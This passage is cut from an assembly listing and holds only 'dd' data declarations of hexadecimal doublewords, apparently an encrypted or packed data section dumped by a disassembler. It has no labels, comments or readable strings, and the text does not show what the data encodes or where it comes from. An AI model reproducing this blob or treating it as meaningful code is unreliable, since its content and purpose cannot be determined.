0FAE2818h, 4FE62F07h, 0FB34F065h, 0A9386FDDh dd 0E4203C22h, 9D5496F4h, 0BB0E24EBh, 30775DEBh, 5AF0684Ah dd 0C091CC1Dh, 3E786C70h, 97BDF6BFh, 1F57BD1Ch, 480906C6h dd 754842E8h, 501F844h, 3144044Ch, 0E32E5BDDh, 5AD84001h dd 6CFDDC5Ah, 79BFA09Fh, 0A1B069C3h, 6B4A4F68h, 0F7159DF3h dd 1E12922Fh, 931CD118h, 0C1BB0447h, 2BCD2956h, 2F7C1DCAh dd 10FDA968h, 365B9A4h, 0E9729E30h, 43404F1Dh, 3B0B68A6h dd 5E135E0Bh, 120138A1h, 9AE94608h, 34902F30h, 0C483DEBh dd 0DF897F1Ch, 0CD09EF12h, 0F0693237h, 0B05BC2h, 530BB985h dd 80954D5Dh, 3602AAADh, 6DE91220h, 1A8020B3h, 144CB065h dd 1DE70A41h, 0CB1C8D23h, 54A50FC7h, 5738E3C0h, 0EE1B4A0Ah dd 2F68EA88h, 0A3987078h, 0BE25576Fh, 1D29D17Ah, 0CCB78B23h dd 70F109D5h, 659296DFh, 0D0F65CFFh, 0DD51259Dh, 57A5E245h dd 82B478CFh, 0AC5A0D83h, 921C1A5h, 0A27977EAh, 98656869h dd 0C1DA9C37h, 550788E9h, 0BD3EC6Ch, 743FBB58h, 35512D37h dd 54925723h, 9305ECF8h, 0C01BD57Bh, 2F658821h, 0B5E9123Ch dd 36E82D26h, 0DD473E05h, 3ABE0D1Eh, 9EBC2A0Dh, 3D2B8B41h dd 1BB908F0h, 2A5CC1E0h, 4FAE506Dh, 0CF002776h, 6334651Ch dd 95F052E9h, 1BB9556Bh, 13FC4850h, 0B0C361Eh, 0AB15A4CBh dd 12B452E4h, 0A303B168h, 0EE432E6Ah, 8E2DE2A0h, 92A95B16h dd 15F7EFC6h, 25FFF396h, 0AF17F129h, 605F453Ah, 9E7416DFh dd 783D514Ah, 0E2047B7Eh, 487F153Ah, 68027FC0h, 2B634D28h dd 1050F781h, 71BE3807h, 82BD1776h, 40AC37Eh, 8160BE5Fh dd 27BA70B0h, 84F8482Dh, 0FE97CD2Dh, 2EDA7AC8h, 6154572Fh dd 30C45A9Ch, 6251902Fh, 29E90D56h, 0E62FCE56h, 124D5A50h dd 5F2AFF6Ch, 2CCEB902h, 2FC10233h, 62B7B096h, 7C3C3635h dd 0C4235B9Bh, 0AAB3BA10h, 0F7E95681h, 0C25E2D98h, 4055535Fh dd 2D750870h, 0B763695h, 23EA2501h, 0F1D47218h, 2E3E040Ah dd 92399EE9h, 24FF05ADh, 53825AF5h, 69FA56CFh, 6C3E4A02h dd 8D5668FDh, 9D6B229h, 446B2ADAh, 0AFB83904h, 0C99E52FDh dd 86FC3A2Bh, 75CEAC89h, 0A44A2ADAh, 1968FEC0h, 0BC989757h dd 0B5B6C4E2h, 0BBC0A496h, 3D666EBAh, 2E184727h, 5B5421BBh dd 5000799Fh, 1683920Bh, 0F1780Ch, 50DCB76Ch, 0B6A109B4h dd 7BFDC20Eh, 34754B7Ah, 0C1E9166Dh, 0D3DDEF14h, 0C583BC7Eh dd 1E251658h, 12885CAAh, 0D4A7EB0Dh, 0F5719318h, 7A070545h dd 68575665h, 5B394E00h, 0EC664BE9h, 31B75BBFh, 687E9C2h dd 72C3AEA7h, 38553AD2h, 0BD0BEF9Ch, 0C3AF13DBh, 0C18E4F8h dd 0F7820A82h, 657BFDE0h, 2D7DF201h, 2BC02E6Ch, 80151920h dd 6A4BD268h, 0EFF5A8F8h, 7425C7A6h, 0F6806F40h, 12F6414Ch dd 0A8B32669h, 84A2498Ah, 0EE09C380h, 0E001C3B1h, 0AC6F5235h dd 6D04D790h, 54021C3Ch, 0F6D4F3E9h, 0CFA2C16h, 1B3852ACh dd 0C13E6481h, 7CF06A9Eh, 0AFC707A3h, 0E0B9CEBFh, 5BC58330h dd 9D47AC01h, 671DEA02h, 49DB404Ah, 17CEFEF1h, 2093F9E9h dd 91602470h, 0F5315415h, 30096CAh, 0C1875CBDh, 58A12DE9h dd 677E9912h, 0B3F6D81Bh, 6810C060h, 0A9245353h, 6BCC477h dd 2AFBC9B1h, 810204FAh, 61C70244h, 0AFF4E15Ch, 0CB3B13DFh dd 63C24459h, 575C0BA0h, 1C400316h, 8097AAF0h, 0B0032BA8h dd 0FCF8B2ABh, 0A2D64BE4h, 28D4050h, 6963F1B5h, 0E9E250D7h dd 0E240F16Ah, 5438F044h, 6CEE4F30h, 78FDEE2Ah, 44C4D3C6h dd 228A01ABh, 0EA37D74Fh, 5C82D160h, 0B9286000h, 0EF130618h dd 7DE90481h, 0BB78CE0Dh, 8C10C0Ah, 1D015D16h, 67AB3D75h dd 0AAB3C56Bh, 30D5CA83h, 9764D909h, 7900DA05h, 5A7CF681h dd 25570E1Dh, 9D0B2CE9h, 0F78347FCh, 7F61E4B7h, 597C97CEh dd 4F92909h, 0E3B09A67h, 0F868125Bh, 6C6D3934h, 80F94B81h dd 0BE7D7384h, 68907674h, 0B135C868h, 0FED3A7E3h, 528E384Bh dd 2075B68h, 1370E965h, 429A5B7Dh, 0EFF8A3E9h, 0B020682Fh dd 2F09EEE9h, 8BF354E2h, 442100BBh, 0BEE92622h, 29DFA818h dd 0EA57E6C3h, 0B5032BFh, 2341FB12h, 2AE86A52h, 4F87F9F6h dd 0E2CD988h, 58FF964Eh, 95C585B0h, 5879F225h, 0A05D5F6Eh dd 0E7961F8Eh, 0CBEB3DBCh, 0C18484ADh, 0B9FB80EEh, 3927578Ch dd 0D19EC061h, 2F4175E1h, 0CFFE6946h, 5C6F7CEBh, 545E6816h dd 0C11C90F3h, 1E7F2531h, 98BB3B3h, 947F1A33h, 285D4FC0h dd 333268FFh, 78CC3749h, 1CDB5DDh, 0A364E909h, 83762CE7h dd 0CF4EEFF0h, 82250993h, 5AD012Eh, 0A8C1AA5Ah, 44EDD3F7h dd 0A2FBBDBFh, 42F8DDA1h, 65810CBh, 953602ADh, 2E5AABCEh dd 7AB98EC0h, 701D272Fh, 9439ED43h, 789FAE2Ch, 98D2A409h dd 0E8F58184h, 0B3C260Ah, 2DE500B1h, 0E889471Fh, 4D419A98h dd 0E9E9B16Eh, 7B217EF2h, 0B0150290h, 8048858Dh, 0B3530B53h dd 7A190B94h, 92F020A7h, 6D3B8DA0h, 2706E697h, 3C4E1E69h dd 97B2F1B0h, 0FC0F1495h, 0FFCB9DFEh, 115AAFB4h, 1D2B570Ch dd 40364655h, 0CEB205C1h, 3229544Eh, 1B6C7A82h, 426066DCh dd 95004E7Dh, 83B95129h, 9068697Eh, 9BC70B1Eh, 0D554AF82h dd 0F2AB9612h, 5E50C46Ch, 0A61462ABh, 31043DFCh, 0B3FA5B1Ah dd 9468C21Ah, 891B5975h, 3B4E488Ch, 5D0EC9Fh, 0B818E7C1h dd 0E99A8721h, 6AAD1700h, 5077559h, 0AC5EAE3Ah, 0ADE85AB5h dd 7F71B2B1h, 0A8F45C2Dh, 0D05BBF52h, 0EC4598BDh, 166ECB91h dd 0FE0DE62Eh, 148D0813h, 0D461B43Fh, 32685A13h, 1A8DFE91h dd 9F1DBD00h, 0C8AE4F26h, 0D4F83189h, 530CCCF4h, 0F416E927h dd 339E42ACh, 0B95BE1A5h, 50C38AFEh, 491FB08h, 8D039E68h dd 2EA9E033h, 0E9111895h, 0A5645F6Eh, 95A26B82h, 5F5DE809h dd 1326E5F7h, 2191F0BEh, 235BD825h, 2D0A112Bh, 0F8F86A73h dd 0E9E2939Ch, 25795652h, 0E9E121D1h, 1243BCAh, 0E9264147h dd 2791722Ah, 8BC55DC5h, 3CD1ED81h, 0CB07756h, 292884F0h dd 834C568h, 14020C34h, 512C8758h, 8B8089A9h, 0DE391A69h dd 0EB9B660Fh, 89DF937Ch, 0C6F7AE65h, 6EDA2F14h, 0FD203A64h dd 245A76D4h, 65203D40h, 412CBA5Eh, 0A2035A3Eh, 0F84DDFFFh dd 0FBE14B33h, 10D0C420h, 475396Ah, 2AE1111Ah, 31D2E0EBh dd 56CF7B19h, 37D4C111h, 0D4106249h, 440D6C69h, 10BAF93Ah dd 800B5B36h, 61844ACAh, 796BA313h, 2F19754Ah, 9E23C2DEh dd 0D69F284h, 9500B45Bh, 13573C66h, 64C22949h, 0BAC0BA01h dd 44E3137Bh, 6612E71Ch, 5AA08B6Fh, 9F2970A9h, 0B1AA1455h dd 0B2960953h, 745A457Ch, 8A74528Dh, 269581E5h, 231540AAh dd 42473F1Eh, 2F0E5158h, 70D0FEEEh, 5D81D972h, 4C75F3F8h dd 0C814321Dh, 0FC5A0705h, 0D4FB85CDh, 0FD55CCEAh, 294AC0F4h dd 0C0551CAh, 0F112B64Fh, 16C50599h, 63B0A235h, 15F69E4Eh dd 87466814h, 0C202C58h, 0F17C5776h, 0CEF249B5h, 0BBFEC52Eh dd 0EC13EE8Eh, 0EF4D644Fh, 68A0FEFCh, 989F60FDh, 0A1B0D5CFh dd 3B34A236h, 76DF3168h, 7E22F98Dh, 6F7EE721h, 625F9702h dd 0B7D3C4C1h, 0E3C320Ah, 6B85135Eh, 2CAED41h, 494074E1h dd 5B5CC00Eh, 0FDC32F94h, 15DC3CE2h, 83054B24h, 930B587Fh dd 0B83BC1ADh, 0C237236Ah, 0C21A98E1h, 58C7D455h, 62E5F0FEh dd 52AB4BCFh, 30E3BB89h dd 0F2934E16h, 3B5C2468h, 8B6955C9h, 0FF508993h, 0C8425564h dd 0BF2516F5h, 407AD95Ch, 88F31EE6h, 6C02A92Dh, 0D0013189h dd 96078F05h, 0B9FE5EEFh, 3CC93084h, 85B5D05Ah, 5580D8E2h dd 2522FE68h, 0BAF74715h, 5003C286h, 0F0599CEDh, 0FC5EA5E9h dd 52E006B8h, 0B5383EB2h, 0E9D506EFh, 3B2A6A31h, 95FDD009h dd 0F357B0E2h, 36740BBAh, 71C5ABB0h, 33737F1Fh, 72182DBEh dd 1FAD2B81h, 11AE3FB9h, 18BD8E4Eh, 0C07444A4h, 4560CE8h dd 0CD014876h, 376616E5h, 5EEE24E9h, 0EE3C62C1h, 3F00820Bh dd 20A6FA43h, 0B50247F7h, 2EF580D4h, 0EA8FE388h, 92095F27h dd 6970655Fh, 0A1BD4022h, 0E70FBAE4h, 65108E58h, 30BE2DC2h dd 0F924C159h, 2C86827h, 58EB8783h, 0DD609DF7h, 5CE458FBh dd 33C3F2B7h, 0E08B92D2h, 2F9C17B9h, 53253DE3h, 0E2ADE387h dd 46DF5D20h, 64B9FE5Fh, 805E1E25h, 8E375AB2h, 6590645Bh dd 307AABE1h, 0C3B247BFh, 0AD2E73CBh, 0A024DD09h, 7213D802h dd 0ABB4406Bh, 413D354Dh, 1CC8BAAAh, 8C201417h, 563FE56Bh dd 0C0CE6ABEh, 5238E971h, 41E34B9h, 7F5F6E8Fh, 5FA92B96h dd 147DA010h, 38DE1C1h, 0F85BCFF1h, 50900913h, 0F9033F48h dd 0D89A59C8h, 2EE27C61h, 8BEE5413h, 0F8FD4BF4h, 8CFD00D2h dd 531B582Bh, 657B6805h, 488510B3h, 0E8B917E0h, 9F3FFE3Dh dd 0E1019EFAh, 17922F2Bh, 0A347D9F7h, 95C75839h, 0CF9EA477h dd 81BAF694h, 70EF308Eh, 0F682B196h, 7D142856h, 0D421EEE1h dd 841226Ch, 5D13806Dh, 1218E35Bh, 39BB3A98h, 1EA93B02h dd 1E74E694h, 417A2BEh, 0C72F0F05h, 562F88E5h, 36BCB1CBh dd 71B3004Ah, 93B61252h, 0EB4BEB88h, 174401D3h, 0BD7FDD28h dd 0E9127BA3h, 0C8EA40D6h, 584468B2h, 9705CE2h, 0EA03513Bh dd 5AD7887Ch, 5ECF5A25h, 0E7CC0822h, 0E8015C00h, 263B6B2Dh dd 0AF3E6237h, 20F49E55h, 594E6569h, 7E9BD9FAh, 0F112B98Bh dd 6B97D0DEh, 0EEC95517h, 4A4FF824h, 0D627F505h, 0E431A857h dd 116E810h, 13D5ABDEh, 7409BEB8h, 0E560F58h, 4963705h dd 5EAF1ABh, 2FE50C08h, 0B70BEF33h, 846A1152h, 1DF79B8Ch dd 3C95E84Eh, 5530CF9Ch, 8F86164h, 5323E965h, 0F0EB3012h dd 66135B07h, 4B045E68h, 21B49AE6h, 1B3A1810h, 2EBA0C1Fh dd 0F3A64760h, 5CF95066h, 7120424Dh, 0CD84D695h, 58C7709Ah dd 5FE7A2B5h, 5818D750h, 0C1823C7Fh, 5A200635h, 0C021D55h dd 0C6CA8171h, 8231B90Bh, 0FF8BEB18h, 75F542B1h, 190D6F8h dd 41CC914h, 0F9D525F6h, 510360C8h, 467F2755h, 7258F604h dd 1AAF7AB9h, 79FF88EAh, 0EF11E2BEh, 17F871E8h, 5F276727h dd 0CD8089E5h, 0E919FFF6h, 0F56B5FAAh, 0ADBEDC5Dh, 0D8568CA9h dd 724839B1h, 0C5F7279Eh, 49BD0094h, 0E9121960h, 200A845Dh dd 0E95E5EF7h, 78F51C10h, 2F215888h, 0D3683D01h, 0C447381Ah dd 3104F3BBh, 0DEB6EFF0h, 0C1D0334Bh, 0E502F4E5h, 0F6CBA39Fh dd 440EB190h, 391BCED8h, 0C64C2F0Dh, 0E5017605h, 3937E8F8h dd 4B654908h, 0F0BBB584h, 31E468A5h, 6F0363C4h, 0C0670413h dd 0E6550BD5h, 555D4907h, 4D4BC4Eh, 3FD92D89h, 0A4102CBDh dd 0DA317DFCh, 2211550Eh, 33C0EE04h, 0E68AEB80h, 0E65A70C3h dd 5B132F68h, 0FBD9D98h, 643E7CBDh, 7C289B1h, 0B82682A3h dd 12B094F7h, 0E4B08EBh, 18BB0574h, 70DFC7B2h, 0FA0CD601h dd 2CF60DC8h, 38EF1612h, 0BA2F0149h, 0D896AB7Dh, 134D2556h dd 0FB9050FAh, 0D7B9EAB7h, 0BF5E2A85h, 0E90C7EB6h, 5B4C30A7h dd 0F70F31B3h, 3249C6F1h, 25BE091Ch, 1C029B47h, 7D0AF986h dd 56953AA8h, 0B3163F3Ch, 794EE780h, 2859EE09h, 42FCF9F0h dd 0BCF41B2Ch, 0D3122612h, 0B70DEB9h, 84B450F3h, 96ACE284h dd 521CC235h, 0BEDEA89h, 84E275CFh, 2E70FE02h, 0B4099EF2h dd 2515503Eh, 819EB1Ch, 660179EEh, 12906DADh, 0A5FF74FDh dd 8B56F5BCh, 0A0F9E91Ah, 0B50AB43Ah, 35C9F328h, 0EE2FE565h dd 0E6D5AD01h, 5AFB098Eh, 0D965B0A7h, 0D4CD7EF1h, 49BF4D6Ah dd 242F6227h, 0BB28DB03h, 180B2413h, 0A6281CBEh, 0FCA70145h dd 6F89CDA5h, 12DD99E4h, 12F46B54h, 8201BEEEh, 443D1D82h dd 16D9D46Eh, 0E6410408h, 248AF928h, 0E0245202h, 6BB6F7AFh dd 5157DBCBh, 2F548FCh, 79F905D5h, 0DD42A4D7h, 2759E8ABh dd 6855F474h, 42C0240Ch, 64DFB20Dh, 54BE0C6Ch, 7E0C5C1Bh dd 51CE4813h, 0E97B05FCh, 0A6687284h, 0C088BC23h, 3EE0727Bh dd 31FEF256h, 0E92BBA68h, 0A7FDE2B8h, 0CCE76DE8h, 52B409A4h dd 0EEFCC48Fh, 633500C5h, 0EA6E1052h, 0FEFD1FA8h, 773FC9DBh dd 538DA720h, 9EF425B6h, 0B3B8BF4Bh, 0B02A15C0h, 0DA0AF705h dd 4F042068h, 0C37C6041h, 0CF8770h, 724A68CBh, 4575BD55h dd 4156C48h, 3328FDEDh, 0CEE9C180h, 50439626h, 0F80E5D9h dd 806814C8h, 54C9BF0Eh, 226D6FAh, 0D296DCECh, 0C2B940FFh dd 10D7DD8Ch, 51B6409Dh, 3B544C50h, 0F6A01E22h, 787E23A7h dd 7325A68h, 2B27CC24h, 398A0228h, 4C000979h, 0C794D1EBh dd 24121B4Ah, 27BAF3BAh, 0E328E99Bh, 58C9C369h, 0E9F2D175h dd 931E477h, 19D54982h, 8E20327Eh, 0A003D727h, 0E54A5C67h dd 5294132h, 0D0F1BFA9h, 1B542978h, 0E7226F20h, 0C282652h dd 0F0BF34A4h, 75E70BB5h, 89D56074h, 0AD2EF18Eh, 15A96E8h dd 0BF962996h, 78E1A1E4h, 1C804E52h, 8B5DE5BBh, 24D71C66h dd 6AB28FFAh, 0BE2A1668h, 0F5EE2635h, 0EBBC7BE1h, 8461E913h dd 0F38F5622h, 33449382h, 680277A1h, 94D52AE0h, 0EFDB9F70h dd 0E976102Fh, 0F5AAA2BAh, 6DB224DBh, 4D655755h, 0CBA15297h dd 84A9A33Bh, 30BE0BFAh, 4C5F68DBh, 1735B49Dh, 402BE956h dd 458ABB39h, 895C5893h, 92B91061h, 0FAA7AE78h, 3BF1C706h dd 803F1469h, 5DE4F1B1h, 0E331D27h, 30D96B2Ch, 6B25E9F7h dd 0A5D068FFh, 3C59EF0Bh, 2CD4A4Eh, 6A31E908h, 23545F13h dd 0DA527D52h, 0FEFBFF13h, 0E98209A6h, 0C5DFEF74h, 5AD509B2h dd 0E9621A74h, 16F3FEB4h, 7A24B95Fh, 108AE42Dh, 80462120h dd 2BD2E04h, 91E447Ah, 1A881500h, 0CC04312h, 0D86E9726h dd 5BDD2589h, 1C00A1F4h, 0E92B5422h, 18A7B642h, 25A49455h dd 2DEAD84Ch, 1F7FF6C2h, 7FC27FDh, 38F12C13h, 78FEF2Ch dd 3274121Ah, 39A73A00h, 0C44BD987h, 0C875E906h, 714F88D2h dd 70808AADh, 0F2811603h, 2D7C2713h, 2EE2220Eh, 80602C2Bh dd 9343121Ah, 27F4097Ah, 3D019477h, 0DED4948Dh, 3D8309F1h dd 8EC355A0h, 0FA5518FAh, 181C71B6h, 0E4736E5h, 8606D272h dd 5FFB2922h, 6C1608F6h, 89027BFDh, 0EBF7E3DAh, 52DE99C7h dd 0EAE4CA9Ah, 0CF7A80FDh, 0BD09FB12h, 6B4CDC02h, 0E499FF09h dd 0F7017F3Fh, 0F64B81BAh, 9132720h, 1D42D20h, 0FA05BC80h dd 1B751F41h, 0BD52760Ah, 0C02CDBFh, 5771D617h, 0C7013660h dd 5F0B0982h, 27E98560h, 0D572E295h, 0BA34511Eh, 84F420A3h dd 0B7619287h, 41F6D466h, 53F48881h, 77F4E850h, 4EE17951h dd 398BEFCBh, 0DA39523Fh, 40D1D42Fh, 1114408h, 0AE3BD0B9h dd 0A468E84Fh, 59416CB4h, 0FBECDEF6h, 94D1BC0Bh, 0F927A6C2h dd 64A46148h, 0E7DE5582h, 0DBEB4089h, 1002A4B1h, 98F55B69h dd 40D4E53Ah, 65202876h, 938B5E2Ah, 9A052B33h, 80EBE858h dd 0DABA50C3h, 77234ADDh, 0E1F4B5B2h, 51D43B2Bh, 6960F8AEh dd 6CF05D0Ch, 68515D00h dd 0B04560Dh, 0CB012E59h, 3AF31A99h, 0FC25A4FEh, 683AC069h dd 6082085Eh, 3F37C5F0h, 21262269h, 9A8E0B5Dh, 0B9012967h dd 1D933523h, 32C7120h, 0E929B60Ah, 331D34AFh, 96BFA3EEh dd 3D0B5061h, 0B66EF5CBh, 43BB2C27h, 7D52A259h, 0EE881760h dd 0C6FE5918h, 0EB75304h, 92CF803Fh, 601EF66h, 8328343Fh dd 54F6525Bh, 0C0AEDD24h, 0B7B1B431h, 0E730AB0Eh, 68247858h dd 42735C07h, 0EE69B3C4h, 0C0BA36C5h, 29E91DC9h, 7941E349h dd 0D435017h, 0C8CDF200h, 0EC6A8517h, 1A6F09E5h, 980142E4h dd 0E02F0584h, 780F1D25h, 9D355258h, 0C1730AF8h, 0E017A9E8h dd 0D35609EAh, 2DE9C8D5h, 8F4B0FCEh, 0C01DD14Fh, 67663FC4h dd 555937E9h, 5DC31713h, 4509A5F3h, 3687DE6Bh, 0BF169E32h dd 646ADB98h, 0B1573A5Ah, 5FA24827h, 0B98F5CB5h, 690A4E00h dd 7C8ACA81h, 3F0BD5Bh, 0D021307h, 0AA760028h, 4A699213h dd 81036827h, 2A63E9EBh, 4DC89B2Fh, 0CBFE4ED3h, 0FCE9096Fh dd 4B6616ACh, 5C720AA1h, 681C04EFh, 78E2FE35h, 31B10B76h dd 3AD0E6B4h, 0FEE72050h, 0F780CF02h, 5DFD0873h, 18ECDA59h dd 66B824B7h, 5E0108DDh, 0D1715813h, 203B14ADh, 3CF0BD6Eh dd 0C9F0525Ah, 0FF601DC6h, 26ED814Ch, 7E38AE35h, 806C1A5h dd 0D414821Ch, 48050B64h, 1ABA5713h, 660E8350h, 8E377368h dd 0D385DB54h, 6FA8E553h, 338EB77Ch, 8203E9C2h, 51841975h dd 0FE80693Eh, 0CFC754D4h, 2D5C9090h, 0E10BD2CBh, 83A63FADh dd 4667E75Ah, 0BF5701A3h, 7305B3Fh, 15562882h, 316036E2h dd 4E237DBh, 3B274B48h, 71F28934h, 0DF66DF09h, 0B416B09h dd 0E360DDA3h, 879AED89h, 0AEB44F5Fh, 442E4B68h, 229F57Ah dd 5788D3F6h, 0EC800F60h, 2F25767Eh, 3E6FF520h, 91E5E984h dd 0BD6A0FCh, 0E501807h, 0E820D7B0h, 37F99FEEh, 0B0CCE62h dd 12922F82h, 0E662307Dh, 0F7D39D55h, 8A2C31ACh, 0E6A25D2Dh dd 657649E9h, 0F2513431h, 108FB66Ah, 0B9036489h, 4C3B55DFh dd 0C65654D2h, 0E48B834Bh, 0E89E4B09h, 9EF091ADh, 16D865E5h dd 1852985Eh, 0AD6DF695h, 0CB4AA56h, 0E9C4A0BAh, 5EFD7C58h dd 0F79033BFh, 0B812BAE4h, 0F901350Bh, 0B7368876h, 2431D825h dd 654FF05Fh, 0C0A2FF5Ah, 1BF8B4B2h, 1D504364h, 0C1B65202h dd 12F58384h, 98B644FBh, 3DEB1214h, 0EDD82B37h, 0F2C85E30h dd 0C05A277Eh, 2E195729h, 3C2EE1h, 0FD73D47h, 0CBA988E9h dd 222B01h, 0C35505DBh, 0C1071C08h, 0BA612FCAh, 33BE5690h dd 85495A42h, 2C60C050h, 283C5BFBh, 663CFEE8h, 0BC63BF59h dd 0D8B02549h, 465824BAh, 0A42E4207h, 9F3E6D0Ah, 4A7FBD26h dd 0D377CBAAh, 2C4C68B3h, 0C8310A0Dh, 7A176B9Eh, 7B8629BEh dd 41E481D8h, 406F4427h, 0F2C68197h, 502F4C0Bh, 4A145731h dd 38BC2D0Fh, 5905892Ah, 40F232FDh, 0E1EBFF40h, 29024409h dd 0C38405D0h, 0E984F4B9h, 3DE2FA12h, 120AF540h, 0BA3CC668h dd 5D698762h, 0A3D55F29h, 0DB6AC058h, 0F645CD0Fh, 8BE0DCE9h dd 3E7AB705h, 48BD2D5Bh, 6830FF0Eh, 972C40CAh, 0C884FABDh dd 0E1BED4C5h, 2F538A8h, 2558F08h, 0BCAFD747h, 270C299Dh dd 2D2D734Ch, 33C62027h, 0C1235671h, 457F8B0Ch, 0CF30306Eh dd 7721FD40h, 95D934E8h, 716F8033h, 0A984161h, 67BBA65Bh dd 0E84FB447h, 56AD5A28h, 9AC65DCFh, 3FFA1C73h, 5960DA6Bh dd 0BA495A56h, 0CFB96228h, 920B559Bh, 7540D7A5h, 16A1684Dh dd 1EE6C12Fh, 8905E645h, 0E67D2C33h, 3D5B252Ah, 70252DE6h dd 4FA613D8h, 7C65FB07h, 110B1B00h, 90423473h, 0EEF809CDh dd 3862CB8Ch, 4995537Dh, 0B8CEFFh, 6336857h, 815F567Eh dd 6901CF04h, 88EE0929h, 4F1937F2h, 880C7854h, 976B71E8h dd 0D4844389h, 7EB90109h, 0A06EE333h, 62821FBBh, 42EF1363h dd 8E4CFB0Ch, 0A2643604h, 97C4EA68h, 88DE78ACh, 6A283AC1h dd 0E02F0241h, 8740065Eh, 8BFB94FAh, 7952A85Eh, 0B96EAE02h dd 88CA297Ah, 142F088Bh, 0D789269Dh, 0EEE941BCh, 300F247Bh dd 0BED940h, 0C85086Ch, 0B95EF589h, 0D0229D03h, 8AE9311Eh dd 27AA5C83h, 95709CD4h, 65669705h, 9321E827h, 8790C18Bh dd 0A08E667Ah, 7C21B909h, 0FB68B6Bh, 0D194C402h, 0E909F9BCh dd 83ABC275h, 2FFDB34Ah, 788FCBEFh, 0A66812C1h, 0B569AF35h dd 3B95C92Fh, 89F248A8h, 25A264F7h, 860286E9h, 60F7EED1h dd 2FDF13CAh, 8B7E1CF5h, 55FE6870h, 0C02B4109h, 0F0306154h dd 0C6E90509h, 88C1512Ch, 0EFAE268Ah, 0ACCDF70Ah, 2B7B81D2h dd 0F4BB4611h, 0ECC64C2Fh, 19723F24h, 5ABF7D95h, 0B52853F1h dd 2B2571B0h, 4FB7C5Ah, 0F1DF4015h, 3521D96Eh, 39B93F40h dd 492889DFh, 0A054E1DCh, 80126801h, 3FEF095Fh, 8AF26C1h dd 24A4CA3Fh, 0B8813917h, 1BA93FA8h, 2C669940h, 0F86D4A01h dd 24646241h, 0D2D5E4Ch, 3DFB4608h, 0A5680BA9h, 0E6E3B16Bh dd 4649C77Ch, 557B7D04h, 63C2AF09h, 0F1A580D3h, 787AE86Ch dd 45A5A31h, 0FEFAE918h, 9ABE4B16h, 93E14A39h, 5E843830h dd 12E5F6A3h, 67EF1C30h, 1729A31Dh, 0F053ED25h, 465EBF33h dd 0C154E9D9h, 1AE1B401h, 61F61943h, 0FA575EFCh, 5D61F2C0h dd 5F667B13h, 5BF3A009h, 0FE2553A5h, 11EA520Dh, 0E62A248Dh dd 1250F2FDh, 0C970C968h, 0ED54207Ch, 44543317h, 0A94044BCh dd 7B43124Ah, 6BA80268h, 23607A85h, 49916735h, 3EB95180h dd 7136B57h, 77A0C981h, 0CB827BEBh, 148AFEF1h, 0C9422D2Bh dd 50EBD1D7h, 7C5AE957h, 0ADCCC516h, 0FF584BC7h, 0A1BA6064h dd 9BA8023Bh, 0EF8FD0Fh, 6E8058C2h, 0AEDA0E4Bh, 0BAB2EAh dd 76B5D4C7h, 5790E530h, 0FECF1162h, 96F7825Fh, 0F56094Fh dd 0ABE02F27h, 12AF7FBBh, 0B2B4E87h, 0AF1FE775h, 2D5BD95Ch dd 1BF585D2h, 33BBD145h, 45076A34h, 0B1DC000Eh, 609D2835h dd 825FB4B9h, 39953382h, 0EE2D814Ch, 0A5BA5B02h, 2BDA7DC1h dd 0F15DEF82h, 0F57C6B62h, 13A9E589h, 7BFBB0F6h, 0EA0132DBh dd 5C05345Ah, 66F8B901h, 1B7D2198h, 3A1EFA5Eh, 0CABE6C17h dd 335F054Ah, 8017D3Ah, 68964FD3h, 84487E46h, 1C10D00Ch dd 1585E982h, 5A70C9D6h, 7D782E3h, 77924A3Ch, 0C9F25D6Eh dd 0B25BB879h, 0F4ABD794h, 665A5ED6h, 4868C58Ch, 4584DA90h dd 6641EEF3h, 422D511Dh, 3F1EC17Ah, 25C53002h, 5C21C640h dd 490908F9h, 5748FEE5h, 56BDE1F6h, 68093A72h, 0EC750B58h dd 29E92AF0h, 0A25D5BF2h, 0DF05E2F8h, 0C4E930A2h, 881C85D0h dd 70E45AF0h, 0F5A2983Dh, 12E00586h, 5DD077h, 333E2DF0h dd 56C7139Eh, 7420480Dh, 0E10622E9h, 0D20DE82Ah, 4018CEFBh dd 818032A2h, 2BD50BCEh, 8E001B67h, 5713D16h, 140F2C90h dd 8026F525h, 0AD3EEBE6h, 600DB879h, 78C73BC3h, 6FFB168Bh dd 9E825EC4h, 601E7457h, 728A5159h, 12A64E40h, 0BAAD7FDEh dd 9F5000D8h, 0B161695Eh, 6407FEE2h, 35A4D039h, 3B25BE4Bh dd 0A1C2D0B8h, 917CF372h, 0CCCAAB93h, 0EAC7E985h, 0F78CD717h dd 0BCFE4BD8h, 0F8C9B74Ch, 68AC3A33h, 0C0196E2Dh, 8F487A48h dd 20F8A8A8h, 8ABECE87h, 8E341082h, 3588756Ch, 0E9560407h dd 5D73B060h, 73DDCCB5h, 0CF6880B9h, 0D1B9524Eh, 0A4367882h dd 0E92607EEh, 0FFA5BD6Bh, 5C8B1565h, 7A407F2Dh, 6A5D6F68h dd 5E389B22h, 0B08BE910h, 6E576850h, 88CB6F1Ch, 39D1FD48h dd 7ECBB227h, 0E27F27C9h dd 1AE4F598h, 97F2DBB5h, 15C7B729h, 584CFE9h, 804830Dh dd 0E2AE9182h, 279FF327h, 20C93CFFh, 511CC346h, 892F988h dd 134EEAF9h, 2BB6AA64h, 7E70D4CDh, 27685B28h, 0D7D14927h dd 31DFECADh, 0F776C93Eh, 0AAB360D9h, 7A385916h, 8100B0ECh dd 0FCE447E9h, 0CD0BBE6Ah, 0D093F13Bh, 72B396ABh, 0ACF94A61h dd 7FA5C38Dh, 0B9C49C16h, 0CC12D33Ch, 88285250h, 9C45DAEEh dd 92AAF615h, 5175FD2Ah, 99F8495Dh, 0E913E7FEh, 0DDE9E5B7h dd 9E30ED58h, 50E8D10Eh, 6320A1B0h, 0B4589D12h, 54813FE4h dd 4937B930h, 3281300Dh, 60639A49h, 0C0805758h, 480662ECh dd 770B200Ah, 330B6F0Fh, 0C307545Ah, 20EEAB6h, 1663ACBFh dd 5E807C59h, 5FBA97D5h, 915237C5h, 0A605E315h, 7BA7C19Ah dd 0DA53147Ch, 0D54C5E3Ch, 100BBB03h, 685E403Bh, 0E912F2ADh dd 5F52FE01h, 0AACF83A2h, 26BA1F70h, 81101A80h, 57730E2h dd 0F7525E11h, 0E4E6FE14h, 45CCC200h, 62E97F37h, 7E7D629Dh dd 255EEA02h, 3FE7C55Fh, 0A9E7275Eh, 80596CFDh, 483BE908h dd 0E95E01D2h, 8468A0EDh, 0AA2BE13Eh, 0EA42A172h, 99F85773h dd 9FC5B629h, 0E5D5CB87h, 0C55F89E7h, 0E1D6D9Bh, 824335C5h dd 97C900BBh, 8373DE7Fh, 0F1E081F9h, 7E647D0Eh, 